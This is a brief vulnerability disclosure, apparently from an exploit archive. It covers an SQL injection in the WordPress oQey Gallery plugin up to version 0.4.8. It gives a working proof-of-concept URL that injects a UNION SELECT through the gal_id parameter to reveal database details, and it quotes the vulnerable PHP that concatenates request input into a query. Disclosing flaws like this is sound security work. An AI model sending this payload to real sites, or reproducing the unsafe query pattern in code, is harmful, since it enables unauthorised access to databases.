WordPress Plugin oQey Gallery 0.4.8 - SQL Injection

# Exploit Title: WordPress oQey Gallery plugin <= 0.4.8 SQL Injection Vulnerability
# Date: 2011-09-05
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/oqey-gallery.0.4.8.zip
# Version: 0.4.8 (tested)
# Note: magic_quotes has to be turned off

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PoC
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http://www.site.com/wp-content/plugins/oqey-gallery/getimages.php?gal_id=0' UNION ALL SELECT 1,2,3,4,5,6,7,CONCAT_WS(CHAR(95),version(),current_user(),database()),9,10%23

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Vulnerable code
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if(isset($_REQUEST['gal_id'])){
    ...
    $data = explode("-", $_REQUEST['gal_id']);
    $id = $data[0];
    ...
    $s = $wpdb->get_row("SELECT * FROM $oqey_galls WHERE id ='".$id."' ");